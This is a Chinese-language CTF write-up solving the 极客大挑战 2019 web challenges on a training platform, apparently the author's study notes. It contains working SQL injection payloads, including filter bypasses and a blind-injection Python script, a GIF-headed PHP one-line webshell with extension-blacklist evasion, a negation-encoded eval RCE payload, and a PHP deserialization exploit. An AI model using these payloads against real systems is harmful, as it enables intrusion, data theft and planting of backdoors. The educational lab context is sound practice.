仅为做题思路,记下笔记,如有错误烦请斧正
- [极客大挑战 2019]EasySQL
- [极客大挑战 2019]Havefun
- [极客大挑战 2019]Secret
- [极客大挑战 2019]LoveSQL
- [极客大挑战 2019]Http
- [极客大挑战 2019]BabySQL
- [极客大挑战 2019]BuyFlag
- [极客大挑战 2019]Upload
- [极客大挑战 2019]HardSQL
- [极客大挑战 2019]FinalSQL
- [极客大挑战 2019]Knife
- [极客大挑战 2019]RCE ME
- [极客大挑战 2019]PHP
[极客大挑战 2019]EasySQL
进题目发现是个登陆页面
admin admin登陆一下
注意URL,试试万能密码?username=admin&password=admin' or '1'='1
(tip:当passwd不对时后面的or 1=1恒真导致错误密码也可登陆)
[极客大挑战 2019]Havefun
题目主页是个可爱的小猫
查看源码(weber必做的事哈哈)发现php代码
根据提示传参
[极客大挑战 2019]Secret File
哇哦,这背景与文字色
看源码,发现另一个页面
套娃?
再点
因为bp一直再开,看看target,把每个response都看了一下,发现跳转了一个
访问一下给了源码,过滤了../、tp、input、data
穿透和代码执行不行了,直接伪协议读,防止输出过滤加上base64encode,payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
读出来的base解码得到flag
[极客大挑战 2019]LoveSQL
和第一题界面差不多,最上面的小红字放大看看,弱密码试试依然错误
我就不用sqlmap了,关于sqlmap扫文件百度有很多,手工sql好了,查列为4的时候报错
联合查询记得把账号置为不存在的(随便输),不然正常回显会把联合查询的回显挤下去,自己可以试试
正常注入,查表名username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin
查列名?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"%23&password=admin
查字段?username=1' union select 1,group_concat(id,":",username,":",password),3 from l0ve1ysq1%23&password=admin
太乱了,看源码(快跑~)
[极客大挑战 2019]Http
主页挺好看
没找到有用的信息(Syclover2019招新群:671301484,逃~)看源码
进去看看,考察的是http头信息,具体可百度看师傅们总结的http header
bp抓包加上referer
更改浏览器标识User-Agent
XFF
伪造IP
get it
[极客大挑战 2019]BabySQL
万能密码错了,看了报错应该是过滤了==or==
双写试试能不给绕过
简单fuzz一下,可以看到基本函数都被过滤了,不过问题不大,双写就能绕过(why?str_replace()
函数只把关键字做了一次过滤,并未递归,例如将==seselectect==替换为==select==),注意查表时information
里面也有个or
查字段:?username=1' oorrder bbyy 4--+&password=admin
三个
查回显位置:?username=1' ununionion seselectlect 1,2,3--+&password=admin
查表:?username=1' ununionion seselectlect 1,group_concat(table_name),3 ffromrom infoorrmation_schema.tables whwhereere table_schema=database()--+&password=admin
查列:?username=1' ununionion seselectlect 1,group_concat(column_name),3 ffromrom infoorrmation_schema.columns whwhereere table_name="b4bsql"--+&password=admin
查字段:很尴尬,password里面也有个or忘了双写哈哈
最终payload:?username=1' ununionion seselectlect 1,group_concat(id,":",username,":",passwoorrd),3 ffromrom b4bsql--+&password=admin
[极客大挑战 2019]BuyFlag
漂亮的主页要我去买flag,拒绝py,看源码有==pay.php==,好贵,而且只有CUIT的学生才可以买,还要密码,看看源码发现这个
基础知识,绕过is_numeric,后面加空格/%00。参考博客,
直接输密码应该不对,因为我们还不是CUIT的学生,抓包看看吧
cookie可疑,改成1试试
可以输passwd了,password=404%20
,记在bp里把请求方式改为==POST==,并加上==Content-Type: application/x-www-form-urlencoded==它用于指示资源的MIME类型
盲猜传一个money参数
猜测正确,但是本题采用php5.3版本,此版本不能接受八位长的数字,所以两种办法
- 第一、用科学计数法
- 第二、猜测后端用的
strcmp()
函数比较的钱数
了解strcmp:
所以我们用数组绕过也行==int strcmp ( string $str1 , string $str2 )== 参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 此函数在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0 [参考博客](https://www.jianshu.com/p/d91c3357b4d3)
- 第二、猜测后端用的
[极客大挑战 2019]Upload
先传个🐎试试,shell.php的一句话,提示
后缀改为jpg试试
可能是检测文件头内容,用GIF淦,一句话如下
GIF89a?
<script language="php">eval($_REQUEST[shell])</script>
写到笔记本里。后缀改为gif上传,bp抓包改为php(apache解析,改为gif连不上马儿),发现黑名单了,换个姿势,用==php3、php5、pht、phtml、phpt==,最终还是用了phtml
没给路径,一般在 ==/upload/文件名==里面,试一下,果然(大胆猜测,小心证明)
autsword或者菜刀连接,文件太多了,用终端找flag, find / -name flag
[极客大挑战 2019]HardSQL
还是那个登陆页面,万能密码被逮住了,正常注入不行,双写不可,看看有没有报错注入,过滤了空格 等号 大于号小于号,like代替等号 用括号括起来就可以无空格
一开始用--+
没能把后面的语句注释掉,换成%23
查表?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
查列?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
查字段?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,":",username,":",password))from(H4rDsq1)),0x7e),1))%23&password=123
因updatexml回显最多32位,所以可以用==left和right==拼接出来?username=admin'or(updatexml(1,concat(0x7e,(select(left(password,32))from(H4rDsq1)),0x7e),1))%23&password=123
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,22))from(H4rDsq1)),0x7e),1))%23&password=123
只有报错才行吗?当然不,试了试盲注,虽然><
被ban了但是还有like
鸭,淦
查数据库?username=admin'or(left((database()),1)like'g')%23&password=123
查表?username=admin'or(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),1)like'H')%23&password=123
写个脚本或者bp自动化爆破一下就行,我先挖个坑,不一定填哈哈哈
[极客大挑战 2019]FinalSQL
随便点进去一个页面,id可能sql注入,fuzz
根据题目盲注,又过滤了union
,应该就是异或注入了,本来想偷懒用大佬的脚本,但是复现失败,flag跑不对,字段太长了后面有误差,但是大佬们直接跑出来全部字段了。。菜鸡自己写个垃圾脚本,用了length()
和right()
.id=1^1
ERROR;id=1^0
SUCCESS –> 数字型注入
# -*- coding: utf-8 -*-
# @Author: ying
# @Date: 2021-09-17 17:46:03
# @Last Modified by: ying
# @Last Modified time: 2021-09-17 18:01:29
import requests
import time
url = 'http://e6383b7c-e8d7-4b53-8a36-ee7213a7ea21.node4.buuoj.cn:81/search.php'
flag = ''
for i in range(1,250):
low = 32
high = 127
mid = (low+high)//2
while(low<high):
time.sleep(0.3)
# table name : F1naI1y,Flaaaaag
# payload = "?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)
# column name : password
# payload = "?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1" %(i,mid)
# flag
payload = "?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
res = requests.get(url + payload)
# print(payload)
if 'Click' in res.text:
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
[极客大挑战 2019]Knife
这个没什么说的啊,直接连shell就行了
[极客大挑战 2019]RCE ME
上源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
过滤函数:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl
可以看看末 初师傅的浅谈PHP代码执行中出现过滤限制的绕过执行方法
构造下面的poc(方法很多,异或、无数字字母都行,这里用取反),连接蚁剑,使用插件–绕过disable_functions,即可执行命令
关于poc的构造,为什么不能直接 eval 可以看看这个师傅的文章:https://www.cnblogs.com/Article-kelp/p/14704975.html
<?php
/**
* @Author: ying
* @Date: 2021-09-18 09:32:21
* @Last Modified by: ying
* @Last Modified time: 2021-09-18 10:09:55
*/
echo '(~'.urlencode(~'assert').')(~'.urlencode(~'eval($_POST[yq1ng])').');';
[极客大挑战 2019]PHP
盲猜备份文件为:www.zip
,得到源码,在 index.php
中有
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
明显反序列化,看 class.php
,也很简单,直接构造poc了
<?php
/**
* @Author: ying
* @Date: 2021-09-18 10:25:26
* @Last Modified by: ying
* @Last Modified time: 2021-09-18 10:27:48
*/
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct()
{
$this->username = 'admin';
$this->password = 100;
}
}
// 因属性为private,所以urlencode一下,不然\x00是看不到的
echo urlencode(serialize(new Name));
但是还需绕过一个反序列化触发的 __wake()
,只要序列化属性个数的值大于实际属性个数时,就会跳过 __wakeup()函数的执行
payload:?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D